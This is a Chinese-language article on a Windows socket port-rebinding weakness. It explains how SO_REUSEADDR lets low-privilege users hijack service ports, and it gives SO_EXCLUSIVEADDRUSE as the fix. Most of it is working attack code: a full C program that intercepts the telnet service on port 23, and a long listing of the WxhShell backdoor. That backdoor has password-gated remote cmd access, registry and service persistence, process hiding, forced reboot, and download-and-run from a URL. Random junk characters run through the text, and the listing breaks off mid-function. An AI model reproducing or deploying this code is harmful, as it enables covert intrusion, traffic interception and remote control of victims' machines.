在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#e@[{s7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W(-son~I m0^~VK | saddr.sin_family = AF_INET;
j>.1RG $DnR[V}rR! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/V]i3ac v5?ct?q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#8BI`.t)j adgd7JjI* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CU*;>h1~u 1C*mR%Q 这意味着什么?意味着可以进行如下的攻击:
?hURNlR_Q i 2[8^o`_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
m<*+^JN 28-z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:gRVa=}= #~w~k+E4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;DKJ#tS}" j*GS')Cm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W58%Zz4a pm[i#V<v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'bg'^PN>z XV)ctF4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M@*Y&(~ P/q]
u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
aQ&K a L[`8 :}M #include
QWC C #include
?k^m|Z #include
h2?\A% #include
KAu>U3\/ DWORD WINAPI ClientThread(LPVOID lpParam);
zq3f@xOK int main()
W}%[i+ {
=&FaMR2 WORD wVersionRequested;
OcC|7s", DWORD ret;
)?6%d WSADATA wsaData;
f9d{{u BOOL val;
'0I> SOCKADDR_IN saddr;
"\5 T
6 SOCKADDR_IN scaddr;
{qCFd int err;
{yd(n_PqY SOCKET s;
]kO|kIs SOCKET sc;
|U$ "GI int caddsize;
}` <DKO/ HANDLE mt;
TWfkr DWORD tid;
d(KK7SQg wVersionRequested = MAKEWORD( 2, 2 );
g+?2@L$L err = WSAStartup( wVersionRequested, &wsaData );
QDKY7"H if ( err != 0 ) {
y!q`o$nK printf("error!WSAStartup failed!\n");
4|4[3Ye7u: return -1;
f<'D?d)L^ }
M.EL^;r saddr.sin_family = AF_INET;
gplrJaH@ lW4 6S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
F9A5}/\ ^7=h%{>= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\H1t<B, saddr.sin_port = htons(23);
>?ec"P%vS/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7E5=Qx {
nAX/u[ printf("error!socket failed!\n");
"x
3C3Zu.; return -1;
NR%_&%qQA }
O&VA79\UO val = TRUE;
^nDa-J$ //SO_REUSEADDR选项就是可以实现端口重绑定的
C+dz0u3s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u0qTP] {
v0T?c53? printf("error!setsockopt failed!\n");
k3]qpWKj return -1;
.;(a;f+{; }
bwJluJ,E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
iDltN]zS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
gQ<{NQMzvd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
iI &z5Q2 SQMtR2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~c*kS E2X {
9Q7342 ret=GetLastError();
$-s8tc( printf("error!bind failed!\n");
u7 <VD return -1;
j'lC]}kH }
Tz0XBH_ listen(s,2);
_3#_6>=M while(1)
aadw#90 {
QB;TQZ caddsize = sizeof(scaddr);
Mq#Hi9SKY //接受连接请求
Y)#,6\=U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]Z52L`k if(sc!=INVALID_SOCKET)
tGSXTF}G {
$Yw~v36`t/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.
+,{|){c if(mt==NULL)
&[N_{O| {
,kl``w|1M printf("Thread Creat Failed!\n");
Vo|[Z)MO` break;
H. o3d/8: }
IIF <Zkpb }
,| j\x CloseHandle(mt);
v] m`rV8S[ }
tJGK9!MH{( closesocket(s);
r"t,/@`n WSACleanup();
^ ),;`YXZ return 0;
P0k.\ 8qz }
*?>52 -&b DWORD WINAPI ClientThread(LPVOID lpParam)
S>Gb
Jt(] {
-KZ9TV # R SOCKET ss = (SOCKET)lpParam;
(nYGN$qC9 SOCKET sc;
s{42_O?,c unsigned char buf[4096];
EoS6t SOCKADDR_IN saddr;
^b^buCYw long num;
H29vuGQjq DWORD val;
6y"T;.FAo DWORD ret;
m\_v{1g //如果是隐藏端口应用的话,可以在此处加一些判断
ME.!l6lm\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vYq"W% saddr.sin_family = AF_INET;
]Y$jc saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Fc|N6I'o saddr.sin_port = htons(23);
#T8PgmR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
r[#*..Y {
-U;=]o1 printf("error!socket failed!\n");
!wZIXpeL return -1;
"s@q(J }
NS "1zR+ val = 100;
Zm+GH^f' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+,)Iv_Xl$ {
}}oIZP\qM ret = GetLastError();
V@\u<LO0G return -1;
&G?w*w_n }
x Vw1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$^YHyfh {
>GmO8dK ret = GetLastError();
v9Lf|FXo& return -1;
r&~]6
U }
6p.y/LMO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ViUx^e\ {
u]]mbER*t# printf("error!socket connect failed!\n");
ET%F+ closesocket(sc);
.Y }k@T40a closesocket(ss);
F3x*dq2 return -1;
-67!u; }
gm1RQ^n,@. while(1)
:z\||f {
t$lJgj(
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
IiY%y:!g //如果是嗅探内容的话,可以再此处进行内容分析和记录
HaR x(p0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}}Gkipp num = recv(ss,buf,4096,0);
XRP+0=0 if(num>0)
GKG:iR) send(sc,buf,num,0);
6H0aHCM else if(num==0)
:zpT Gk8Z break;
`6PBV+]Vm3 num = recv(sc,buf,4096,0);
7>EMr}f C if(num>0)
c]|Tg9AW send(ss,buf,num,0);
QHtN_Q_F else if(num==0)
iL~(BnsF break;
N1U.1~U }
lGJ&\Lv: closesocket(ss);
<Rz[G+0S= closesocket(sc);
WY26Iq@C return 0 ;
V h5\'Sn }
BT
f ZR8y9mx2" c#@L~< ==========================================================
cu#r#0U- Iomx"y]9 下边附上一个代码,,WXhSHELL
WWLf'89It P75@Yu( ==========================================================
J@rBrKC VY@`) #include "stdafx.h"
WISK-z n+s=u$%qn #include <stdio.h>
NYR:dH]N~d #include <string.h>
P|a|4Bb+fW #include <windows.h>
T6\d] #include <winsock2.h>
]=Wq&~ #include <winsvc.h>
;U? 323Z #include <urlmon.h>
)W1[{? w ;:{ #pragma comment (lib, "Ws2_32.lib")
Q0L1!}w
#pragma comment (lib, "urlmon.lib")
O_*tDq,e Jb)xzUhES #define MAX_USER 100 // 最大客户端连接数
k7 Ne(4P #define BUF_SOCK 200 // sock buffer
1=^| #define KEY_BUFF 255 // 输入 buffer
mlz|KI~\F; Z0M|Bv9_ #define REBOOT 0 // 重启
u!McPM8Yk #define SHUTDOWN 1 // 关机
<V|\yH9 ~^o YPd52* #define DEF_PORT 5000 // 监听端口
*(sv5c!0M8 j<h0`v #define REG_LEN 16 // 注册表键长度
I"D}amuv #define SVC_LEN 80 // NT服务名长度
_V3}F1?W iq5-eJmq // 从dll定义API
$Ut1vp1$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=!($=9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Qo80u?* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\{o<-S;h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0 R>!jw yz%o?%@ // wxhshell配置信息
WogCt, struct WSCFG {
r$,Xv+} int ws_port; // 监听端口
[`1@`5SL- char ws_passstr[REG_LEN]; // 口令
T~d_?UAw$ int ws_autoins; // 安装标记, 1=yes 0=no
Qgq VbJP" char ws_regname[REG_LEN]; // 注册表键名
5$*=;ls>J char ws_svcname[REG_LEN]; // 服务名
9ol&p> char ws_svcdisp[SVC_LEN]; // 服务显示名
1gX$U00: char ws_svcdesc[SVC_LEN]; // 服务描述信息
<{z-<D; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
kU{a!ca4 int ws_downexe; // 下载执行标记, 1=yes 0=no
D+Z2y1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
zTw<9 Nf char ws_filenam[SVC_LEN]; // 下载后保存的文件名
h<g2aL21?F w[u>*I };
R^yh, +rka5ts // default Wxhshell configuration
4?c0rC< struct WSCFG wscfg={DEF_PORT,
nlc$"(eA[H "xuhuanlingzhe",
bDq<]h_7 1,
;/!o0:m^I "Wxhshell",
9e;:(jl^ "Wxhshell",
</2Cn@ "WxhShell Service",
GFvLd:p` [ "Wrsky Windows CmdShell Service",
4UMOC_ "Please Input Your Password: ",
zw0u|q;# 1,
.cr<.Ov "
http://www.wrsky.com/wxhshell.exe",
e[db?f2! "Wxhshell.exe"
s6Il3Kf };
2F/oWt|w? ((6?b5[ // 消息定义模块
V%voe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=Nr?F'< char *msg_ws_prompt="\n\r? for help\n\r#>";
X#ud_+6x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(Y char *msg_ws_ext="\n\rExit.";
AH^ud*3F char *msg_ws_end="\n\rQuit.";
lr)9 U7 char *msg_ws_boot="\n\rReboot...";
u0%bv\$m char *msg_ws_poff="\n\rShutdown...";
P9M%B2DQ6f char *msg_ws_down="\n\rSave to ";
<'~6L#>,< }-p-( char *msg_ws_err="\n\rErr!";
%Lp#2?* char *msg_ws_ok="\n\rOK!";
f;bVzti+w .+5;AtN char ExeFile[MAX_PATH];
MTn}]blH int nUser = 0;
R+9 hog HANDLE handles[MAX_USER];
l7(p~+o?h> int OsIsNt;
ceae~ Q 34-a"6) SERVICE_STATUS serviceStatus;
03!#99 SERVICE_STATUS_HANDLE hServiceStatusHandle;
K"Gea`I '^tC |) // 函数声明
pJ/{X=y int Install(void);
H:mcex int Uninstall(void);
VgS2_TU int DownloadFile(char *sURL, SOCKET wsh);
B+2.:Zn6 int Boot(int flag);
+;
=XiB5R void HideProc(void);
[>lQiX int GetOsVer(void);
Q>TNzh int Wxhshell(SOCKET wsl);
R xc void TalkWithClient(void *cs);
?_.
SV g int CmdShell(SOCKET sock);
2nSK}q int StartFromService(void);
s 4n<k]d int StartWxhshell(LPSTR lpCmdLine);
Sy^@v%P'A q'%!qa+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hfs QAa VOID WINAPI NTServiceHandler( DWORD fdwControl );
ix 5\Y DO~~ // 数据结构和表定义
. Fm| $x SERVICE_TABLE_ENTRY DispatchTable[] =
jK2gc^"t {
e?; {wscfg.ws_svcname, NTServiceMain},
J$&2GAi {NULL, NULL}
^j<2s"S };
9<5ii >dwY(a // 自我安装
+d3h @gp int Install(void)
x/%/MFK)>8 {
pK)!o char svExeFile[MAX_PATH];
DOq"=R+ HKEY key;
Nb\B*=4AR strcpy(svExeFile,ExeFile);
3
op{h6 D+7[2$:z // 如果是win9x系统,修改注册表设为自启动
Q1x=@lXR if(!OsIsNt) {
4cDe'9
LA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T|uG1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>vNE3S_ RegCloseKey(key);
Tlk!6A: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AdRK )L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A9LVS&52 RegCloseKey(key);
zn5|ewl@" return 0;
vP,$S^7$ }
D`)K3;h }
#X0Y8:vj }
*Q;?p
hr else {
~P"o_b6,k E+Dcw // 如果是NT以上系统,安装为系统服务
aX.//T:':? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6e"Lod_ L if (schSCManager!=0)
U Fyk%#L {
c=p!2jJ1K~ SC_HANDLE schService = CreateService
B9]bv] (
_BG7JvI schSCManager,
)&ucX wscfg.ws_svcname,
Z5[g[Q wscfg.ws_svcdisp,
!'a
<Dw5 SERVICE_ALL_ACCESS,
A1B%<$|pz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jH37{S- SERVICE_AUTO_START,
JG{`tTu SERVICE_ERROR_NORMAL,
p+${_w>pl{ svExeFile,
<A&Zl&^1 NULL,
cpphnGj5 NULL,
'-P+|bZW4 NULL,
h/*@ML+bB8 NULL,
}bnodb^.7 NULL
Raf-I+ );
~Sx\>wBlc if (schService!=0)
&a'LOq+r' {
]6,D9^{; CloseServiceHandle(schService);
NdC5w-WY CloseServiceHandle(schSCManager);
c, }VC- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
gq~"Z[T strcat(svExeFile,wscfg.ws_svcname);
imyfki $B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^[Y/ +Q.J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%{0F. RegCloseKey(key);
_!9I
f return 0;
`k(m2k? }
Q|G|5X }
DkW^gt CloseServiceHandle(schSCManager);
o+Q2lO5 }
c!mMH~# }
6Ia[`xuL wcGv#J], return 1;
SME]C ')7 }
chM-YuN| gwFW+*h // 自我卸载
kH4m6p
int Uninstall(void)
LVdtI {
3A\Z]L HKEY key;
W3n[qVZIC kB=5=#s if(!OsIsNt) {
l`a_0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
t<%+))b
RegDeleteValue(key,wscfg.ws_regname);
<}F(G-kV6 RegCloseKey(key);
7H4kj7UK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uxL3 8d] RegDeleteValue(key,wscfg.ws_regname);
f4vdJ5pV RegCloseKey(key);
YB(8 T" return 0;
!$<Kp6 }
7mL1$i6= }
u\km_e }
>]2 ^5C; else {
}&%&0$% -?Cu-' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
JvS
~.g1 if (schSCManager!=0)
wV,=hMTd&\ {
{vur9L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
${`q! if (schService!=0)
|C>\ku* {
_:JV-lM if(DeleteService(schService)!=0) {
b(> G CloseServiceHandle(schService);
jJ?G7Q5l CloseServiceHandle(schSCManager);
muO;g& return 0;
?28)l
4 Ml }
7r pTk&` CloseServiceHandle(schService);
^$<:~qq! }
@Y#TWt# CloseServiceHandle(schSCManager);
]Nue1xV_ }
nyOvB#f }
UN:cRH{?* z'0
=3 return 1;
_V` QvnT} }
Ah
zV?6e B&}lYo // 从指定url下载文件
NC|VZwQtm int DownloadFile(char *sURL, SOCKET wsh)
rEs!gGNN {
='(;!3ZH HRESULT hr;
lT'V=,Y
t char seps[]= "/";
FQcm= d_s char *token;
5'EoB^`8N~ char *file;
CC]q\%y-_ char myURL[MAX_PATH];
w# ;t$qz} char myFILE[MAX_PATH];
K:Z|# i- #*G}v%Ow/u strcpy(myURL,sURL);
>,f5 5 token=strtok(myURL,seps);
bLUyZ3m! while(token!=NULL)
xP 3>8Y {
7s;*vd> file=token;
axv-UdE; token=strtok(NULL,seps);
ZOL#Q+U }
`Vh&XH\S v&` n}lS GetCurrentDirectory(MAX_PATH,myFILE);
Ljk0K3Q6> strcat(myFILE, "\\");
i^eDM.#X strcat(myFILE, file);
s_6Iz^]I send(wsh,myFILE,strlen(myFILE),0);
$EZr@n send(wsh,"...",3,0);
RG-,<G` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,km`-6.2? if(hr==S_OK)
Rtai? return 0;
5_SxX@fW% else
C3; d.KlV return 1;
[8[`V)b X{qa|6S,F }
d^`n/"Ice 7gt%[r M // 系统电源模块
--TY[b int Boot(int flag)
AUR{O {
JwUz4 HANDLE hToken;
;zi4W1 TOKEN_PRIVILEGES tkp;
a<Ps6' wE_#b\$=b if(OsIsNt) {
iRL|u~bj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6)9X+U@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8FBXdk?A tkp.PrivilegeCount = 1;
!r+SE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]$A6krfh| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)eBCO~HS if(flag==REBOOT) {
#:nds, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]ov"&,J return 0;
\eS-wO7% }
YuzgR;Z else {
*l'5z)] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Tc;j)_C) return 0;
"@&I*1& }
['@R]Si"! }
Fx@@.O6 else {
5i&+.?(Z= if(flag==REBOOT) {
(%|L23 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
)}T0SGY return 0;
YXTd^M~@D }
(k>I!Z/&2 else {
P!lTK
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'M3V#5l)@| return 0;
2(NN QU@Uz }
RhumNP<M }
i^6g1"h 98t|G5 return 1;
Xq.GvZS` }
OEj%cB! =VDtZSa!$^ // win9x进程隐藏模块
t+O7dZt%r void HideProc(void)
x-ZCaa}O {
h%(0| sBWLgJz?C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X5Ff2@."y| if ( hKernel != NULL )
mi$*,fz {
)x&OdFX pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
aG/L'weR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_;`g*Kx FreeLibrary(hKernel);
Rac4a@hZ }
9_\1cSk' FQ6{NMz,h return;
WG.J-2#3 }
Z\P&i# >Y[nU~ w // 获取操作系统版本
A;#GU` int GetOsVer(void)
tD !$!\`O {
vd!|k5t[d OSVERSIONINFO winfo;
+b6kU{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4?9cyv4H GetVersionEx(&winfo);
MnymV;y" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(.54`[2+L return 1;
NKS-G2Y<P else
f8?c[%br return 0;
[P?.(* }
>J
No2 %["V "{ z // 客户端句柄模块
d 1bx5U int Wxhshell(SOCKET wsl)
dJwE/s {
gw);b)&mx SOCKET wsh;
YXWlg%s struct sockaddr_in client;
o{wXq)b DWORD myID;
WF0[/Y $*[-kIy while(nUser<MAX_USER)
&fYV FRVkq {
.8.LW4-ff int nSize=sizeof(client);
FlQ(iv)P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SH${ \BKup if(wsh==INVALID_SOCKET) return 1;
V[N4 {c q-)Ynp4' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;+h-o if(handles[nUser]==0)
|ydOi& closesocket(wsh);
z4yV1 else
-^%YrWgd? nUser++;
17{$D,P }
<X,0\U!lL WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
I>L@P`d J|A:C[7 2 return 0;
RY]Vo8 }
0ynvn9@t ~)\E&c // 关闭 socket
2XN];,{ void CloseIt(SOCKET wsh)
8hx 3pvmk {
g`BtG closesocket(wsh);
1-M\K^F nUser--;
"dO>P*k, ExitThread(0);
(]l}QR%Bxu }
XV>
)[Nd\H `K^j:fE7n // 客户端请求句柄
IT\lkF2 void TalkWithClient(void *cs)
;5fq[v^P: {
uNn]hl|x sjISVJ? SOCKET wsh=(SOCKET)cs;
JM-rz#;1 char pwd[SVC_LEN];
$WV N4fg char cmd[KEY_BUFF];
Px<*n '~} char chr[1];
A!&hjV` int i,j;
[Q=NGHB1/ BbqH02i while (nUser < MAX_USER) {
`>mT/Rmb@ 17nONhh if(wscfg.ws_passstr) {
A=5A8B1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u(!@6%?- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_Bh ^<D- //ZeroMemory(pwd,KEY_BUFF);
-:|1>og i=0;
s28rj6q while(i<SVC_LEN) {
4x'N#m{p 9(PQ7} // 设置超时
)K0BH q7r fd_set FdRead;
!}gC0dJ struct timeval TimeOut;
8=#J:LeXj FD_ZERO(&FdRead);
i!!1^DMrw FD_SET(wsh,&FdRead);
xxlYn9ke TimeOut.tv_sec=8;
%;Dp~T`0 TimeOut.tv_usec=0;
ARD&L$AX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)Bq~1M 2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&Jr~)o ^mu?V-4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%0z&k!P pwd
=chr[0]; *0
0K3
if(chr[0]==0xd || chr[0]==0xa) { l$_Yl&!q$
pwd=0; Ris5)*7
break; 1qw*mV;W)_
} b@yGa%Gz@
i++; _;Q1PgT
} ) DzbJ}
D-[`wCa,
// 如果是非法用户,关闭 socket q~^qf
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $ 'B0ZL
} KKz{a{ePY%
4EO,9#0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q5irKT*Hs
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GJL lMi
EMDsi2
while(1) { Wq+6`o
MMMuT^X
ZeroMemory(cmd,KEY_BUFF); X0,?~i6Q
d{UyiZm\
// 自动支持客户端 telnet标准 b`@aiXN)+
j=0; c({V[eGY
while(j<KEY_BUFF) { ov{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZR~ *Yofy
cmd[j]=chr[0]; bN6FhKg|
if(chr[0]==0xa || chr[0]==0xd) { s/,wyxKd
cmd[j]=0; +w
;2k w
break; <Ct b^4$
} !);kjXQS?
j++; *LTFDC
} Fu*~{n
=AhXEu ^
// 下载文件 r*|#*"K"a
if(strstr(cmd,"http://")) { `g2DN#q[0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nV|H5i;N7
if(DownloadFile(cmd,wsh)) +Mb;;hb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'))prl
else 6gLk?^.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VpDNp
(2
} B?qLXRv
else { *(%]|z}]m
U*.Wx0QM
switch(cmd[0]) { +ht -Bl
RJ ,a}w[9
// 帮助 w`kn!k8
case '?': { .^<4]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LV4]YC
break; 6!|-,t><
} CS;bm`8a
// 安装 :27GqY,3sK
case 'i': { -lKk.Y.}r
if(Install()) 9o|=n'o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l-Hp^|3Wq
else G+^Q
_w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~bSPtH
]6d
break; i1qhe?5
} >4gGb)
// 卸载 |IbCN
case 'r': { K,7IBv,B[
if(Uninstall()) qNI2+<u)j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O7p>"Bh
else )z'LXy8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[]@Df,p
break; y^vB_[6l
} EgAM,\
// 显示 wxhshell 所在路径 kW"6Gc&HUN
case 'p': { -!OFt}
char svExeFile[MAX_PATH]; j[zo~Y4z
strcpy(svExeFile,"\n\r"); c2aX_ "
strcat(svExeFile,ExeFile); &,pL3Qos
send(wsh,svExeFile,strlen(svExeFile),0); EV}c,*);y
break; 3snr-)
} 2f'3Vjp~G
// 重启 3jMHe~.E<
case 'b': { Nf.6:=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q/oe l'O*x
if(Boot(REBOOT)) xE$(I<:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GCn^+`.h1t
else { gO kq>i_
closesocket(wsh); g4(vgWOW`
ExitThread(0); >7yOu!l
} XG]ltSOy
break; h,-8(
S
} )Mw<e
// 关机 f>LwsP
case 'd': { F!FXZht$P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %E\&9,
if(Boot(SHUTDOWN)) 8!a6)Zeux
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jx#r
else { &/K:zWk3mx
closesocket(wsh); Z^AOV:|m
ExitThread(0); ^T):\x(
} g<,kV(_7
break; }pP<+U
} q9GSUkb
// 获取shell {0J TN%e
case 's': { Y7QIFY's~
CmdShell(wsh); fv1pA+zN[
closesocket(wsh); Tk[`kmb
ExitThread(0); h,:8TMJRRN
break; Ku6bY|
} rFY% fo
// 退出 e0i&?m
case 'x': { +b<q4W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h{ s- e.
CloseIt(wsh); W'f{u&<
break; 5v51:g>c
} bERYC|
// 离开 EZ+_*_9
case 'q': { /RLeD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); JGS4r+
closesocket(wsh); qla$}dnvc
WSACleanup(); ^4Ta0kDn
exit(1); o$k1&hyH
break; giU6f!%
} %<x2=#0
} gAcXd<a0
} <"|BuK
&yFt@g]
// 提示信息 ekB!d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Dbjp5_
} 'je=.{[lWt
} s`2Hf&%aZJ
xngK_n
return; p4k*vuu>
} ]AlRu(
O=wA/T=w?
// shell模块句柄 16q"A$
int CmdShell(SOCKET sock) e<_p\LiOS
{ :G#>):
STARTUPINFO si; /aa'ryl_%
ZeroMemory(&si,sizeof(si)); L&td4`2y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VH3j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b[<Q_7~2
PROCESS_INFORMATION ProcessInfo; OS c&n>\t
char cmdline[]="cmd"; (/J$2V5-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PxENLQ3a=
return 0; X9^a:7(
}
xviz{M9g
S:qML]RO
// 自身启动模式 qV57P6<
int StartFromService(void) D{~mJDUzK
{ > <WR]`G
typedef struct Z_&6<1,H
{ Yc+0OBH[
DWORD ExitStatus; [eV!ho*r
DWORD PebBaseAddress; {b4+ Yc
DWORD AffinityMask; <5*cc8
DWORD BasePriority; Z{/0P
ULONG UniqueProcessId; 9N^&~O|1
